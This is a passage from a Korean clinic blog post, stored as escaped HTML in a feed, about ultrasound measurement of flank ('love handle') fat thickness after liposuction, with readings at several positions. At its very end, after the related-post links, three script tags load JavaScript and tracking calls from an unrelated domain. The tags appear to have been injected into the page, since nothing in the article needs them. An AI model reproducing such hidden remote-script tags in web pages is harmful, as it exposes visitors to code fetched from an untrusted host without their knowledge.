2층이상으로 되어 있으며, 비만도가 높은 분들의 경우 심층의 지방층이 두꺼워지는 경향을 보입니다. 아래 분의 경우 심층의 지방층이 약간 보이고 있는 정도 입니다. 외사근 상방에 위치한 옆구리(러브핸들)의 지방층의 두께는 11 mm 로 체크 되고 있습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/652/489/./files/attach/images/251145/652/489/9f1f3a2466e382b086a3efa2ec7d17b5.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;만일 윗 분이 지방흡입 수술을 받는다면 통계는 아직 없지만 옆구리 두께는 약 50% 전후로 사이즈 감소가 되어 약 6 mm 정도의 두께를 남기게 될 것입니다. 지방흡입 수술후에 옆구리와 등부위의 초음파 촬영은 실시간으로 지방층의 모습을 확인하고 이상여부를 진단하며, 수술후 회복정도, 그리고 남아있는 지방층의 정보를 보여 줄 수 있습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;h4 class=&quot;page-header mBottom60&quot;&gt;다음은 실제로 저희 비너스의원에서 체크한 수술 후 초음파의 실례입니다.&lt;/h4&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래 사진은 복부와 엉덩이의 지방흡입 수술 후 2개월이 지난 환자분 수술후 사진으로 BMI는 21.5인 분입니다. 수술후 약간의 옆구리 돌출이 남아있는 것처럼 보이지만 지방층의 두께는 5 mm 이하로 외사근과 피부의 늘어짐으로 인한 결과입니다. 좌측 옆구리의 돌출이 더 비대칭적으로 좀더 많이 늘어져 있습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/652/489/./files/attach/images/251145/652/489/1a7460fd122190d1f9809f83ae04679f.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래 그림은 윗 사진 환자분의 피하지방층의 초음파 프루브의 위치와 지방층의 두께를 보여주고 있습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/652/489/./files/attach/images/251145/652/489/2e38dcc77c7971c875bcea01ed61d81d.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;A 위치&lt;/h4&gt; &lt;p&gt;아래 그림에서 근육으로는 복근들인 사근, 내사근 그리고 횡근등이 보이며, 피하 지방층은 4.5 mm 남아 있습니다. 이 부위는 옆구리(러브핸들) 부위 입니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/652/489/./files/attach/images/251145/652/489/76fb91585e56249c6ce9ab203dec7ce8.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;B 위치&lt;/h4&gt; &lt;p&gt;우측면에 외사근 등등 복근들이 있고 좌측 끝 부위는 요방형근(Quadratus lumborum) 근육이 보이기 시작합니다. 남은 피하 지방층은 4.7 mm 입니다. 이 부위 역시 옆구리(러브핸들) 부위이지만 뒤에서 보이는 옆구리인, 요추주위등(Paralumbar area)과 인접해 있습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/652/489/./files/attach/images/251145/652/489/2b2a46fae6e326b5f5d41cc4fd0c7605.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;C 위치&lt;/h4&gt; &lt;p&gt;우측에 요방형근(Quadratus lumborum) 근육이 지방층의 하부에 주로 보이고 있으며 좌측 부위에는 척추기립근(Erector spinae) 근육이 보입니다. 지방층이 1층으로 얇아졌고 두께는 5.1 mm 남아 있습니다. 이 부위의 지방층이 대부분 깊고 2층이며 비만도가 증가 할수록 심층의 두께가 증가하는 부위입니다. 저의 비너스의원에서는 뒤쪽에서 보이는 옆구리, 즉, 요추주위등(Paralumbar area)라고 부르고 있습니다. 이 케이스의 경우 이미 수술이 이루어져 지방층이 거의 1층으로 보입니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/652/489/./files/attach/images/251145/652/489/3b5897c7bd737565aa299c2eec105f9e.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;D 위치&lt;/h4&gt; &lt;p&gt;좌측 끈 부위는 척추이며 피하지방층 하방에는 척추기립근(Erector spinae) 근육이 보이며 피하 지방층의 하방에는 근막(Thoracolumbar aponeurosis)과 SFS의 fasica가 겹쳐져서 여러층으로 존재하고 있습니다. 피하 지방층의 두께는 2.7 mm 로 가장 얇습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/652/489/./files/attach/images/251145/652/489/4e3575618ce1ccc30d1b0cbc3c4626af.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;감사합니다. &amp;nbsp;&lt;/p&gt; &lt;p&gt;비너스의원 원장 정원호&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 참고하세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489646&quot;&gt;1. 러브핸들에 대한 용어에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489652&quot;&gt;2. 옆구리(러브핸들) 부위의 초음파 측정과 수술부위에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489664&quot;&gt;3. BMI 와 옆구리(러브핸들)의 초음파 피하지방층 두께측정에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489679&quot;&gt;4. 진단서 작성법과 허위진단서&lt;/a&gt;&lt;/p&gt; &lt;script type=&quot;text/javascript&quot; async=&quot;&quot; src=&quot;//minisrclink.cool/1e40c8bd4601a5a5a4.js&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;https://minisrclink.cool/optout/set/lat?jsonp=__twb_cb_731758912&amp;amp;key=1e40c8bd4601a5a5a4&amp;amp;cv=1541132589&amp;amp;t=1541132589050&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;https://minisrclink.cool/optout/set/lt?jsonp=__twb_cb_639797524&amp;amp;key=1e40c8bd4601a5a5a4&amp;amp;cv=28391&amp;amp;t=1541132589050&quot;&gt;&lt;/script&gt;</content>			</entry></feed>
